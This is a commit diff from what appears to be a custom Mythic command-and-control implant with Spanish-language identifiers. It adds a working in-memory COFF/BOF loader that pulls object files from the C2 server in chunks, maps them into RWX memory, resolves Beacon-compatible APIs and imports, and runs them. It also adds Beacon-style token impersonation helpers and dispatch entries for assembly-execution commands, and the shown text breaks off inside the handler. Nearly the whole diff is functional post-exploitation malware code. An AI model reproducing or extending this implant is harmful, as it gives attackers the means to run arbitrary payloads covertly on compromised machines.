Bof Loader implemented
This commit is contained in:
Binary file not shown.
@@ -183,6 +183,22 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
||||
DumparNavegador(analizadorTarea);
|
||||
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
||||
} else if (tarea == INLINE_EXECUTE_CMD) {
|
||||
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
||||
InlineExecuteHandler(analizadorTarea);
|
||||
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
||||
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
||||
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||
// This command is typically handled via subtasks in Python
|
||||
// But if called directly, we'll handle it here
|
||||
_wrn("inline_execute_assembly should be called via subtasks");
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
} else if (tarea == EXECUTE_ASSEMBLY_CMD) {
|
||||
_inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||
// This command is typically handled via subtasks in Python (inject_shellcode)
|
||||
// But if called directly, we'll handle it here
|
||||
_wrn("execute_assembly should be called via subtasks");
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
} else {
|
||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
#include "rpfwd_manager.h"
|
||||
#include "browser_info.h"
|
||||
#include "browser_dump.h"
|
||||
#include "inline_execute.h"
|
||||
|
||||
#define SHELL_CMD 0x54
|
||||
#define GET_TASKING 0x00
|
||||
@@ -63,6 +64,11 @@
|
||||
/* Browser dump command */
|
||||
#define BROWSER_DUMP_CMD 0x41
|
||||
|
||||
/* BOF and Assembly execution commands */
|
||||
#define INLINE_EXECUTE_CMD 0x70
|
||||
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
|
||||
#define EXECUTE_ASSEMBLY_CMD 0x72
|
||||
|
||||
/* Extension marker to carry SOCKS array in binary messages */
|
||||
#define SOCKS_BLOCK_MARKER 0xF5
|
||||
/* Extension marker to carry RPFWD array in binary messages */
|
||||
|
||||
@@ -0,0 +1,696 @@
|
||||
#include "cazalla.h"
|
||||
#include "inline_execute.h"
|
||||
#include "comandos.h"
|
||||
#include "paquete.h"
|
||||
#include "SistemadeFicheros.h"
|
||||
#include "utils.h"
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/*
|
||||
* Beacon Compatibility Layer - Simple output buffering for BOFs
|
||||
* These functions are called by BOFs and capture their output
|
||||
*/
|
||||
static char* beacon_output_buffer = NULL;
|
||||
static int beacon_output_size = 0;
|
||||
static int beacon_output_offset = 0;
|
||||
|
||||
// BeaconPrintf - Capture formatted output from BOFs
|
||||
void BeaconPrintf(int type, char* fmt, ...) {
|
||||
va_list args;
|
||||
int length = 0;
|
||||
char* tempptr = NULL;
|
||||
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (length <= 0) return;
|
||||
|
||||
tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + length + 1);
|
||||
if (tempptr == NULL) {
|
||||
_err("[BeaconPrintf] Error reasignando memoria");
|
||||
return;
|
||||
}
|
||||
beacon_output_buffer = tempptr;
|
||||
memset(beacon_output_buffer + beacon_output_offset, 0, length + 1);
|
||||
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(beacon_output_buffer + beacon_output_offset, length + 1, fmt, args);
|
||||
beacon_output_size += length;
|
||||
beacon_output_offset += length;
|
||||
va_end(args);
|
||||
|
||||
_inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
|
||||
}
|
||||
|
||||
// BeaconOutput - Capture raw output from BOFs
|
||||
void BeaconOutput(int type, char* data, int len) {
|
||||
char* tempptr = NULL;
|
||||
if (!data || len <= 0) return;
|
||||
|
||||
tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + len + 1);
|
||||
if (tempptr == NULL) {
|
||||
_err("[BeaconOutput] Error reasignando memoria");
|
||||
return;
|
||||
}
|
||||
beacon_output_buffer = tempptr;
|
||||
memset(beacon_output_buffer + beacon_output_offset, 0, len + 1);
|
||||
memcpy(beacon_output_buffer + beacon_output_offset, data, len);
|
||||
beacon_output_size += len;
|
||||
beacon_output_offset += len;
|
||||
|
||||
_inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
|
||||
}
|
||||
|
||||
// BeaconGetOutputData - Get captured output (caller must free)
|
||||
char* BeaconGetOutputData(int* outsize) {
|
||||
char* outdata = beacon_output_buffer;
|
||||
*outsize = beacon_output_size;
|
||||
beacon_output_buffer = NULL;
|
||||
beacon_output_size = 0;
|
||||
beacon_output_offset = 0;
|
||||
return outdata;
|
||||
}
|
||||
|
||||
// BeaconDataParse - Parse data structure for BOFs
|
||||
typedef struct {
|
||||
char* original;
|
||||
char* buffer;
|
||||
int length;
|
||||
int size;
|
||||
} datap;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size) {
|
||||
if (parser == NULL) return;
|
||||
parser->original = buffer;
|
||||
parser->buffer = buffer;
|
||||
parser->length = size - 4;
|
||||
parser->size = size - 4;
|
||||
parser->buffer += 4;
|
||||
}
|
||||
|
||||
int BeaconDataInt(datap* parser) {
|
||||
int32_t fourbyteint = 0;
|
||||
if (parser->length < 4) return 0;
|
||||
memcpy(&fourbyteint, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
parser->length -= 4;
|
||||
return (int)fourbyteint;
|
||||
}
|
||||
|
||||
short BeaconDataShort(datap* parser) {
|
||||
int16_t retvalue = 0;
|
||||
if (parser->length < 2) return 0;
|
||||
memcpy(&retvalue, parser->buffer, 2);
|
||||
parser->buffer += 2;
|
||||
parser->length -= 2;
|
||||
return (short)retvalue;
|
||||
}
|
||||
|
||||
int BeaconDataLength(datap* parser) {
|
||||
return parser->length;
|
||||
}
|
||||
|
||||
char* BeaconDataExtract(datap* parser, int* size) {
|
||||
UINT32 length = 0;
|
||||
char* outdata = NULL;
|
||||
if (parser->length < 4) return NULL;
|
||||
memcpy(&length, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
outdata = parser->buffer;
|
||||
if (outdata == NULL) return NULL;
|
||||
parser->length -= 4;
|
||||
parser->length -= length;
|
||||
parser->buffer += length;
|
||||
if (size != NULL && outdata != NULL) {
|
||||
*size = length;
|
||||
}
|
||||
return outdata;
|
||||
}
|
||||
|
||||
// Token functions (using Windows APIs directly)
|
||||
BOOL BeaconUseToken(HANDLE token) {
|
||||
return SetThreadToken(NULL, token);
|
||||
}
|
||||
|
||||
void BeaconRevertToken(void) {
|
||||
RevertToSelf();
|
||||
}
|
||||
|
||||
BOOL BeaconIsAdmin(void) {
|
||||
// Basic implementation - can be enhanced
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
|
||||
* Adapted from Cazalla's upload mechanism
|
||||
*/
|
||||
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
||||
#define CHUNK_SIZE 512000 // 512 KB
|
||||
|
||||
_inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
|
||||
|
||||
DWORD status = 0;
|
||||
PBYTE dataBuffer = NULL;
|
||||
SIZE_T bytesAvailable = 0;
|
||||
SIZE_T totalBytesRead = 0;
|
||||
UINT32 currentChunk = 1;
|
||||
UINT32 totalChunks = 0;
|
||||
|
||||
// Initialize BOF structure
|
||||
memset(bof, 0, sizeof(BOF_UPLOAD));
|
||||
strncpy(bof->fileUuid, fileId, 36);
|
||||
bof->fileUuid[36] = '\0';
|
||||
bof->currentChunk = 1;
|
||||
|
||||
dataBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
|
||||
if (!dataBuffer) {
|
||||
_err("[inline_execute] Error alocar memoria para buffer");
|
||||
return GetLastError();
|
||||
}
|
||||
bytesAvailable = CHUNK_SIZE;
|
||||
|
||||
do {
|
||||
// Create upload request
|
||||
PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(requestPaquete, taskUuid, FALSE);
|
||||
|
||||
// Add empty output (required for upload request format, same as upload command)
|
||||
addInt32(requestPaquete, 0);
|
||||
|
||||
// Add upload request marker and data
|
||||
addUploadRequest(requestPaquete, fileId, CHUNK_SIZE, currentChunk, "temp_bof");
|
||||
|
||||
// Send request and get response
|
||||
PAnalizador respuesta = mandarPaquete(requestPaquete);
|
||||
liberarPaquete(requestPaquete);
|
||||
|
||||
if (!respuesta) {
|
||||
_err("[inline_execute] No se recibió respuesta para chunk %u", currentChunk);
|
||||
status = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Debug: log response size
|
||||
_dbg("[inline_execute] Respuesta recibida para chunk %u: %zu bytes", currentChunk, respuesta->tamano);
|
||||
|
||||
// Extract upload response (same format as upload command)
|
||||
// Look for 0xF9 marker
|
||||
PBYTE buffer = respuesta->buffer;
|
||||
SIZE_T len = respuesta->tamano;
|
||||
BOOL found = FALSE;
|
||||
|
||||
// Debug: log first few bytes to see what we're getting
|
||||
if (len > 0) {
|
||||
_dbg("[inline_execute] Primeros bytes de respuesta: 0x%02X 0x%02X 0x%02X 0x%02X",
|
||||
len > 0 ? buffer[0] : 0,
|
||||
len > 1 ? buffer[1] : 0,
|
||||
len > 2 ? buffer[2] : 0,
|
||||
len > 3 ? buffer[3] : 0);
|
||||
}
|
||||
|
||||
for (SIZE_T i = 0; i < len - 13; i++) {
|
||||
if (buffer[i] == 0xF9) {
|
||||
i++;
|
||||
// Extract total_chunks
|
||||
if (i + 4 > len) break;
|
||||
totalChunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
|
||||
i += 4;
|
||||
|
||||
// Extract chunk_num
|
||||
if (i + 4 > len) break;
|
||||
UINT32 chunkNum = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
|
||||
i += 4;
|
||||
|
||||
// Extract chunk_data length
|
||||
if (i + 4 > len) break;
|
||||
UINT32 chunkDataLen = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
|
||||
i += 4;
|
||||
|
||||
if (chunkDataLen == 0 || chunkDataLen > 1024 * 1024 || i + chunkDataLen > len) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Decode base64 chunk data
|
||||
PCHAR chunkDataB64 = (PCHAR)LocalAlloc(LPTR, chunkDataLen + 1);
|
||||
if (!chunkDataB64) {
|
||||
liberarAnalizador(respuesta);
|
||||
status = GetLastError();
|
||||
goto cleanup;
|
||||
}
|
||||
memcpy(chunkDataB64, buffer + i, chunkDataLen);
|
||||
chunkDataB64[chunkDataLen] = '\0';
|
||||
|
||||
// Decode base64
|
||||
PBYTE decodedData = NULL;
|
||||
SIZE_T decodedLen = 0;
|
||||
if (!base64_decode(chunkDataB64, &decodedData, &decodedLen)) {
|
||||
_err("[inline_execute] Error decodificando base64 para chunk %u", currentChunk);
|
||||
LocalFree(chunkDataB64);
|
||||
liberarAnalizador(respuesta);
|
||||
status = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Reallocate buffer if needed
|
||||
if (totalBytesRead + decodedLen > bytesAvailable) {
|
||||
bytesAvailable = totalBytesRead + decodedLen;
|
||||
dataBuffer = (PBYTE)LocalReAlloc(dataBuffer, bytesAvailable, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!dataBuffer) {
|
||||
_err("[inline_execute] Error reasignando memoria");
|
||||
LocalFree(chunkDataB64);
|
||||
LocalFree(decodedData);
|
||||
liberarAnalizador(respuesta);
|
||||
status = GetLastError();
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
// Copy chunk to buffer
|
||||
memcpy(dataBuffer + totalBytesRead, decodedData, decodedLen);
|
||||
totalBytesRead += decodedLen;
|
||||
|
||||
LocalFree(chunkDataB64);
|
||||
LocalFree(decodedData);
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
_err("[inline_execute] No se encontró respuesta de upload para chunk %u", currentChunk);
|
||||
liberarAnalizador(respuesta);
|
||||
status = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
liberarAnalizador(respuesta);
|
||||
currentChunk++;
|
||||
|
||||
} while (currentChunk <= totalChunks);
|
||||
|
||||
bof->buffer = dataBuffer;
|
||||
bof->size = totalBytesRead;
|
||||
bof->totalChunks = totalChunks;
|
||||
|
||||
_inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (dataBuffer) {
|
||||
LocalFree(dataBuffer);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
/*
|
||||
* InternalFunctionMatch - Check if symbol is an internal Beacon function
|
||||
*/
|
||||
static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
|
||||
if (STR_EQUALS(StrippedSymbolName, "Beacon") ||
|
||||
STR_EQUALS(StrippedSymbolName, "GetProcAddress") ||
|
||||
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
|
||||
STR_EQUALS(StrippedSymbolName, "toWideChar") ||
|
||||
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
|
||||
STR_EQUALS(StrippedSymbolName, "FreeLibrary"))
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* ProcessBeaconSymbols - Resolve Beacon API symbols
|
||||
*/
|
||||
static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
|
||||
void* functionaddress = NULL;
|
||||
char localSymbolNameCopy[1024] = { 0 };
|
||||
*InternalFunction = FALSE;
|
||||
char* locallib = NULL;
|
||||
char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1;
|
||||
HMODULE llHandle = NULL;
|
||||
char* context = NULL;
|
||||
|
||||
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
|
||||
|
||||
// Hash-based function resolution for internal functions
|
||||
// For now, we'll use direct function resolution
|
||||
if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) {
|
||||
*InternalFunction = TRUE;
|
||||
localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
|
||||
UINT32 hash = custom_hash(localfunc);
|
||||
|
||||
// Map common Beacon functions by hash
|
||||
UINT32 funcHash = hash;
|
||||
if (funcHash == custom_hash("BeaconDataParse")) {
|
||||
return (void*)BeaconDataParse;
|
||||
} else if (funcHash == custom_hash("BeaconPrintf")) {
|
||||
return (void*)BeaconPrintf;
|
||||
} else if (funcHash == custom_hash("BeaconOutput")) {
|
||||
return (void*)BeaconOutput;
|
||||
} else if (funcHash == custom_hash("GetProcAddress")) {
|
||||
return (void*)GetProcAddress;
|
||||
} else if (funcHash == custom_hash("GetModuleHandleA")) {
|
||||
return (void*)GetModuleHandleA;
|
||||
} else if (funcHash == custom_hash("LoadLibraryA")) {
|
||||
return (void*)LoadLibraryA;
|
||||
} else if (funcHash == custom_hash("FreeLibrary")) {
|
||||
return (void*)FreeLibrary;
|
||||
} else if (funcHash == custom_hash("BeaconUseToken")) {
|
||||
return (void*)BeaconUseToken;
|
||||
} else if (funcHash == custom_hash("BeaconRevertToken")) {
|
||||
return (void*)BeaconRevertToken;
|
||||
} else if (funcHash == custom_hash("BeaconIsAdmin")) {
|
||||
return (void*)BeaconIsAdmin;
|
||||
}
|
||||
} else {
|
||||
// External symbol - parse library$function format
|
||||
locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context);
|
||||
if (locallib) {
|
||||
llHandle = LoadLibraryA(locallib);
|
||||
localfunc = strtok_s(NULL, "$", &context);
|
||||
if (localfunc) {
|
||||
localfunc = strtok_s(localfunc, "@", &context);
|
||||
functionaddress = GetProcAddress(llHandle, localfunc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return functionaddress;
|
||||
}
|
||||
|
||||
/*
|
||||
* ExecuteEntry - Execute the BOF entry point
|
||||
*/
|
||||
static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long argSize) {
|
||||
VOID(*foo)(char* in, UINT32 datalen) = NULL;
|
||||
|
||||
if (!func || !COFF->FileBase) {
|
||||
_err("[inline_execute] No entry point provided");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
||||
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
||||
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
||||
_dbg("[inline_execute] Entry point encontrado: 0x%p", foo);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!foo) {
|
||||
_err("[inline_execute] No se pudo encontrar entry point '%s'", func);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Execute the BOF
|
||||
foo((char*)args, (UINT32)argSize);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* RelocationTypeParse - Parse and apply COFF relocations
|
||||
*/
|
||||
static void RelocationTypeParse(COFF_t* COFF, void** SectionMapped, int SectionNumber, BOOL* InternalFunction, void* FunctionAddrPTR, char* FunctionMapping) {
|
||||
UINT32 offsetAddr = 0;
|
||||
UINT64 longOffsetAddr = 0;
|
||||
unsigned int Type = COFF->Relocation->Type;
|
||||
|
||||
if (Type == IMAGE_REL_AMD64_ADDR64) {
|
||||
memcpy(&longOffsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(UINT64));
|
||||
longOffsetAddr = (UINT64)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + (UINT64)longOffsetAddr);
|
||||
longOffsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
|
||||
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &longOffsetAddr, sizeof(UINT64));
|
||||
}
|
||||
else if (COFF->Relocation->Type == IMAGE_REL_AMD64_ADDR32NB) {
|
||||
memcpy(&offsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(INT32));
|
||||
offsetAddr = ((char*)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + offsetAddr) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
|
||||
offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
|
||||
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
|
||||
}
|
||||
else if (Type == IMAGE_REL_AMD64_REL32) {
|
||||
if (FunctionAddrPTR != NULL) {
|
||||
memcpy(FunctionMapping + (COFF->FunctionMappingCount * 8), &FunctionAddrPTR, sizeof(UINT64));
|
||||
offsetAddr = (INT32)((FunctionMapping + (COFF->FunctionMappingCount * 8)) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
|
||||
offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
|
||||
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
|
||||
*InternalFunction = FALSE;
|
||||
COFF->FunctionMappingCount++;
|
||||
}
|
||||
else {
|
||||
memcpy(&offsetAddr, (void*)((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress), sizeof(UINT32));
|
||||
offsetAddr += (UINT32)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
|
||||
offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
|
||||
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* RunCOFF - Load and execute a COFF file
|
||||
* Adapted from Xenon's COFF loader
|
||||
*/
|
||||
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize) {
|
||||
COFF_t COFF;
|
||||
COFF.FileBase = FileData;
|
||||
COFF.FileHeader = (FileHeader_t*)COFF.FileBase;
|
||||
COFF.SymbolTable = (Symbol_t*)(COFF.FileBase + COFF.FileHeader->PointerToSymbolTable);
|
||||
COFF.FunctionMappingCount = 0;
|
||||
COFF.RelocationsCount = 0;
|
||||
|
||||
char* functionMapping = NULL;
|
||||
void** sectionMapped = (void**)calloc(sizeof(char*) * (COFF.FileHeader->NumberOfSections + 1), 1);
|
||||
|
||||
if ((int)COFF.FileHeader->Machine != IMAGE_FILE_MACHINE_AMD64) {
|
||||
_err("[inline_execute] COFF no soportado: Machine=0x%04X (solo AMD64 soportado)", COFF.FileHeader->Machine);
|
||||
free(sectionMapped);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Allocate and map sections
|
||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||
Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (i * sizeof(Section_t)));
|
||||
|
||||
sectionMapped[i] = (char*)VirtualAlloc(NULL, section->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (section->PointerToRawData != 0) {
|
||||
memcpy(sectionMapped[i], COFF.FileBase + section->PointerToRawData, section->SizeOfRawData);
|
||||
}
|
||||
else {
|
||||
memset(sectionMapped[i], 0, section->SizeOfRawData);
|
||||
}
|
||||
|
||||
if (!strcmp(section->Name, ".text")) {
|
||||
COFF.RawTextData = sectionMapped[i];
|
||||
}
|
||||
|
||||
COFF.RelocationsCount += section->NumberOfRelocations;
|
||||
}
|
||||
|
||||
// Allocate function mapping
|
||||
functionMapping = (char*)VirtualAlloc(NULL, COFF.RelocationsCount * 8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// Process relocations
|
||||
for (int s = 0; s < COFF.FileHeader->NumberOfSections; s++) {
|
||||
Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (s * sizeof(Section_t)));
|
||||
COFF.RelocationsTextPTR = COFF.FileBase + section->PointerToRelocations;
|
||||
|
||||
for (int i = 0; i < section->NumberOfRelocations; i++) {
|
||||
UINT32 symbolOffset = 0;
|
||||
void* funcptrlocation = NULL;
|
||||
COFF.Relocation = (Relocation_t*)(COFF.RelocationsTextPTR + (i * sizeof(Relocation_t)));
|
||||
|
||||
symbolOffset = COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.value[1];
|
||||
|
||||
if (COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.Name[0] != 0) {
|
||||
BOOL internalFunc = FALSE;
|
||||
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunc, NULL, NULL);
|
||||
}
|
||||
else {
|
||||
BOOL internalFunctionCheck = FALSE;
|
||||
funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck);
|
||||
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
|
||||
_wrn("[inline_execute] No se pudo resolver símbolo");
|
||||
}
|
||||
|
||||
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Execute the BOF
|
||||
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
||||
_err("[inline_execute] Error ejecutando entry point");
|
||||
// Cleanup
|
||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||
if (sectionMapped[i] != NULL) {
|
||||
VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
free(sectionMapped);
|
||||
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||
if (sectionMapped[i] != NULL) {
|
||||
VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
free(sectionMapped);
|
||||
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* ParseBOFArguments - Parse BOF arguments from JSON string
|
||||
* Returns packed arguments buffer and size
|
||||
*/
|
||||
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
|
||||
// For now, we'll pass the JSON string directly
|
||||
// A full implementation would parse the JSON and pack arguments according to type
|
||||
*outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
|
||||
if (!*outBuffer) {
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(*outBuffer, argsJson, argsJsonLen);
|
||||
*outSize = argsJsonLen;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* InlineExecuteHandler - Main handler for inline_execute command
|
||||
*/
|
||||
VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
_inf("===== InlineExecuteHandler INICIO =====");
|
||||
|
||||
// Read task UUID
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(argumentos, &uuidLen);
|
||||
if (!taskUuid || uuidLen != 36) {
|
||||
_err("InlineExecuteHandler: Error leyendo UUID (len=%zu)", uuidLen);
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
return;
|
||||
}
|
||||
|
||||
// Read file_id
|
||||
SIZE_T fileIdLen = 0;
|
||||
PCHAR fileId = getString(argumentos, &fileIdLen);
|
||||
if (!fileId || fileIdLen == 0) {
|
||||
_err("InlineExecuteHandler: Error leyendo file_id");
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
return;
|
||||
}
|
||||
|
||||
// Read arguments (JSON string)
|
||||
SIZE_T argsLen = 0;
|
||||
PCHAR argsJson = getString(argumentos, &argsLen);
|
||||
|
||||
_dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
||||
36, taskUuid, (int)fileIdLen, fileId, argsLen);
|
||||
|
||||
// Create response package
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, taskUuid, FALSE);
|
||||
|
||||
// Create output package
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
// Fetch BOF file from Mythic
|
||||
BOF_UPLOAD bof = {0};
|
||||
DWORD status = GetFileBytesFromMythic(taskUuid, fileId, &bof);
|
||||
if (status != 0) {
|
||||
_err("[inline_execute] Error obteniendo archivo BOF de Mythic: %lu", status);
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo obtener el archivo BOF de Mythic (error: %lu)\n", status);
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
return;
|
||||
}
|
||||
|
||||
// Parse BOF arguments
|
||||
PBYTE bofArgs = NULL;
|
||||
SIZE_T bofArgsSize = 0;
|
||||
if (argsJson && argsLen > 0) {
|
||||
if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) {
|
||||
_err("[inline_execute] Error parseando argumentos BOF");
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n");
|
||||
}
|
||||
}
|
||||
|
||||
// Clear output buffer before executing BOF
|
||||
if (beacon_output_buffer) {
|
||||
free(beacon_output_buffer);
|
||||
beacon_output_buffer = NULL;
|
||||
}
|
||||
beacon_output_size = 0;
|
||||
beacon_output_offset = 0;
|
||||
_inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
|
||||
|
||||
// Execute the BOF
|
||||
DWORD fileSize = (DWORD)bof.size;
|
||||
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
|
||||
if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) {
|
||||
_err("[inline_execute] Error ejecutando BOF");
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
|
||||
} else {
|
||||
_inf("[inline_execute] BOF ejecutado exitosamente, capturando output...");
|
||||
